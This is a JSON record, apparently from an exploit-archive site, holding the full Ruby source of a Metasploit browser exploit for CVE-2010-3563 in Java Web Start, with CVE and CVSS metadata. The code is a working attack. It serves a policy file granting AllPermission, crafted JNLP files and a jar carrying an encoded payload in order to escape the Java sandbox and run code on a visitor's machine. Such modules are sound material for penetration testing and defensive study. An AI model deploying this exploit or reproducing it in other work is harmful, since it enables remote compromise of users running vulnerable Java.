{"exploit":{"id":"MSF-windows--browser--java_basicservice_impl","name":"Sun Java Web Start BasicServiceImpl Code Execution","description":"This module exploits a vulnerability in Java Runtime Environment that allows an attacker to escape the Java Sandbox. By injecting a parameter into a javaws call within the BasicServiceImpl class the default java sandbox policy file can be therefore overwritten. The vulnerability affects version 6 prior to update 22. NOTE: Exploiting this vulnerability causes several sinister-looking popup windows saying that Java is \"Downloading application.\"","cves":["CVE-2010-3563"],"author":"Matthias Kaiser, egypt","published":"2010-10-12","platform":"Java,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/browser/java_basicservice_impl.rb","path":"modules/exploits/windows/browser/java_basicservice_impl.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_basicservice_impl.rb","vulnerabilities":[{"id":"CVE-2010-3563","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Deployment component in Oracle Java SE and Java for Business 6 Update 21 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable researcher that this is related to \"how Web Start retrieves security policies,\" BasicServiceImpl, and forged policies that bypass sandbox restrictions.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-3563","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-3563"},"updatedAt":"2024-08-07T03:11:44.529Z","retrievedAt":"2026-11-26T14:15:15.130Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--browser--java_basicservice_impl.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--browser--java_basicservice_impl","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_basicservice_impl/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_basicservice_impl/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer\n  # Internet explorer freaks out and shows the scary yellow info bar if this\n  # is in an iframe.  The exploit itself also creates a couple of scary popup\n  # windows about \"downloading application\" that I haven't been able to\n  # figure out how to prevent.  For both of these reasons, don't include it\n  # in Browser Autopwn.\n  # include Msf::Exploit::Remote::BrowserAutopwn\n  # autopwn_info({ :javascript => false })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Sun Java Web Start BasicServiceImpl Code Execution',\n        'Description' => %q{\n          This module exploits a vulnerability in Java Runtime Environment\n          that allows an attacker to escape the Java Sandbox. By injecting\n          a parameter into a javaws call within the BasicServiceImpl class\n          the default java sandbox policy file can be therefore overwritten.\n          The vulnerability affects version 6 prior to update 22.\n\n          NOTE: Exploiting this vulnerability causes several sinister-looking\n          popup windows saying that Java is \"Downloading application.\"\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Matthias Kaiser', # Discovery, PoC, metasploit module\n          'egypt' # metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2010-3563' ],\n          [ 'OSVDB', '69043' ],\n          [ 'URL', 'http://mk41ser.blogspot.com' ],\n        ],\n        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },\n        'Targets' => [\n          [\n            'Windows x86',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Generic (Java Payload)',\n            {\n              'Arch' => ARCH_JAVA,\n              'Platform' => 'java'\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2010-10-12',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def on_request_uri(cli, request)\n    jpath = get_uri(cli)\n\n    case request.uri\n    when /java.security.policy/\n      print_status('Checking with HEAD')\n      ack = 'OK'\n      send_response(cli, ack, { 'Content-Type' => 'application/x-java-jnlp-file' })\n\n    when /all.policy/\n      all = \"grant {permission java.security.AllPermission;};\\n\"\n      print_status('Sending all.policy')\n      send_response(cli, all, { 'Content-Type' => 'application/octet-stream' })\n\n    when /init.jnlp/\n      init = <<~EOS\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <jnlp href=\"#{jpath}/init.jnlp\" version=\"1\">\n        #{jnlp_info}\n          <application-desc main-class=\"BasicServiceExploit\">\n            <argument>#{jpath}</argument>\n          </application-desc>\n        </jnlp>\n      EOS\n      print_status('Sending init.jnlp')\n      send_response(cli, init, { 'Content-Type' => 'application/x-java-jnlp-file' })\n\n    when /exploit.jnlp/\n      expl = <<~EOS\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n          <jnlp href=\"#{jpath}/exploit.jnlp\" version=\"1\">\n        #{jnlp_info}\n          <application-desc main-class=\"Exploit\"/>\n          </jnlp>\n      EOS\n      print_status('Sending exploit.jnlp')\n      send_response(cli, expl, { 'Content-Type' => 'application/x-java-jnlp-file' })\n\n    when /\\.jar$/i\n      p = regenerate_payload(cli)\n      paths = [\n        [ 'BasicServiceExploit.class' ],\n        [ 'Exploit.class' ],\n      ]\n      dir = [ Msf::Config.data_directory, 'exploits', 'cve-2010-3563' ]\n      jar = p.encoded_jar\n      jar.add_files(paths, dir)\n      print_status('Sending Jar')\n      send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })\n      handler(cli)\n\n    else\n      print_status('Sending redirect to init.jnlp')\n      send_redirect(cli, get_resource + '/init.jnlp', '')\n\n    end\n  end\n\n  def jnlp_info\n    <<-EOS\n    <information>\n      <title>#{Rex::Text.rand_text_alpha(rand(10..19))}</title>\n      <vendor>#{Rex::Text.rand_text_alpha(rand(10..19))}</vendor>\n      <description>#{Rex::Text.rand_text_alpha(rand(10..19))}</description>\n    </information>\n    <resources>\n      <java version=\"1.6+\"/>\n      <jar href=\"#{get_uri}/exploit.jar\"/>\n    </resources>\n    EOS\n  end\nend\n","sha256":"4ca15957dc0621cf0f27394dc2421084bc1f0a3b9fb08f32f594f2710c891f1f","bytes":4629,"fetchedAt":"2026-11-26T14:15:10.340Z","encoding":"utf-8 (display only; download retains original bytes)"}